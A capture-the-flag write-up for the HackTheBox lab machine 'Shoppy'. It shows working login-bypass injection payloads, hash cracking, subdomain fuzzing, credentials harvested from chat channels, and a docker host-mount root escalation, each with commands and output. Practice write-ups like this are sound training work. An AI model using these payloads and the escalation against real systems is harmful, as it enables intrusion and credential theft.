Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
Shoppy is an Easy Linux machine.
Recon
1
2
3
4
5
6
7
8
9
10
|
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
|
We face a x64 linux server with a webserver, a SSH server.
dirbuster
Running a dirbuster scan we found multiple directories.
Result of the dirbuster scan
There is a login page at http://shoppy.htb/login
Login form found
I tried to bruteforce the login form using default http credentials but I wasn’t able to find any working creds.
We found some leaked metrics at http://10.10.11.180:9093.
1
2
3
4
5
6
7
8
9
|
# HELP go_gc_heap_allocs_by_size_bytes_total Distribution of heap allocations by approximate size. Note that this does not include tiny objects as defined by /gc/heap/tiny/allocs:objects, only tiny blocks.
# TYPE go_gc_heap_allocs_by_size_bytes_total histogram
go_gc_heap_allocs_by_size_bytes_total_bucket{le="8.999999999999998"} 790151
go_gc_heap_allocs_by_size_bytes_total_bucket{le="24.999999999999996"} 5.435001e+06
go_gc_heap_allocs_by_size_bytes_total_bucket{le="64.99999999999999"} 7.71183e+06
go_gc_heap_allocs_by_size_bytes_total_bucket{le="144.99999999999997"} 9.630056e+
[...]
go_info{version="go1.18.1"} 1
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1
|
It could be some Mattermost, promscale or prometheus metrics maybe?
Vulnerabilities
Testing SQLi
wfuzz
I first tried to bypass the login using wfuzz
. With req.sql, a wordlist taken from https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass.
1
2
3
4
|
└─$ wfuzz -c -z file,sql.req -d "username=FUZZ&password=pass" -u "http://shoppy.htb/login" >> res
000000488: 302 0 L 4 W 28 Ch "'||2||'"
000000485: 302 0 L 4 W 28 Ch "'||'2'||'"
000000516: 302 0 L 4 W 28 Ch "'||true||'"
|
I found 3 working payloads to bypass the authentication. We are now able to connect into the shoppy admin page.
Main page after bypassing the login form
Going at http://shoppy.htb/admin/search-users, we can search for the user admin
and download his report.
Export data can that can be downloaded
1
2
3
4
5
|
[{
"_id":"62db0e93d6d6a999a66ee67a",
"username":"admin",
"password":"23c6877d9e2b564ef8b32c3a23de27b2"
}]
|
Using the same payload used for the login bypass, we found one new user.
1
2
3
4
5
|
{
"_id":"62db0e93d6d6a999a66ee67b",
"username":"josh",
"password":"6ebcea65320589ca4f2f1ce039975995"
}
|
Bruteforce hash
I tried to bruteforce hashes using hashcat.
1
2
|
└─$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt --quiet
6ebcea65320589ca4f2f1ce039975995:remembermethisway
|
We got our first credentials: josh:remembermethisway
. We can connect into the login page using those credentials but we can’t get an access to SSH.
DNS Enumeration
After some reasearch, I manage to enumerate possible subdomain for http://shoppy.htb using ffuf
.
1
2
|
└─$ ffuf -w /usr/share/wordlists/11m_sub_wordlist.txt -H "Host: FUZZ.shoppy.htb" -u "http://shoppy.htb"
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 36ms]
|
We find a subdomain at http://mattermost.shoppy.htb (well guessed at the begining :) with a login form. We can log in as josh:remembermethisway
.
Mattermost page
At http://mattermost.shoppy.htb/shoppy/channels/development we can read a message from josh that say that he develop and deploy a password manager on a docker.
Looking at http://mattermost.shoppy.htb/shoppy/channels/deploy-machine, we found jaeger credentials: jaeger:Sh0ppyBest@pp!
.
Trying those credentials on the SSH server and we get a shell !
1
2
|
jaeger@shoppy:~$ cat user.txt
************************deba9dbe
|
We can get the user flag :)
Path to the privesc
Recon
Checking privileges with the sudo command.
1
2
3
4
5
6
7
|
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
|
Jaeger as the possibility to run an application as deploy
. When running the password manager, we need to provide the master password of the application that we don’t have.
1
2
3
|
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password:
|
As josh says, he run the application on a Docker. But jaeger user doesn’t have an access to the docker process.
We found a script shoppy_start.sh
on jaeger home directory.
1
2
3
4
5
6
|
#!/bin/bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
cd /home/jaeger/ShoppyApp && npm start
|
Password manager
Using a binary grep on /home/deploy/password-manager
, we found the master password!
1
2
3
4
|
jaeger@shoppy:/home/deploy$ grep -ai password password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !cat /home/deploy/creds.txtAccess denied!
|
We can now use Sample
as master password.
1
2
3
4
5
6
7
|
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
|
And there is deploy’s credentials: deploy:Deploying@pp!
.
Connecting as deploy
I tried to connect into SSH using those credentials.
1
2
3
4
|
└─$ ssh deploy@10.10.11.180
deploy@10.10.11.180's password: Deploying@pp!
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
|
And it works!
deploy
can use Docker! We can see that there is a docker image created.
1
2
3
|
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 2 months ago 5.53MB
|
Trying Docker privesc
Reading the Docker privesc section of Hacktrick, we found that is it possible to mount the host disk on the docker and have a full access to directories.
So I tried to mount the host disk and use a chroot to have a root shell on it.
1
|
docker run -it -v /:/host/ alpine:latest chroot /host/ bash
|
We have a shell ! And a complete access to the host disk!
1
2
3
4
5
|
root@23c0ebf2f7e7:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@23c0ebf2f7e7:/# cat /root/root.txt
*************************43a40eb
|
We can get the root flag :)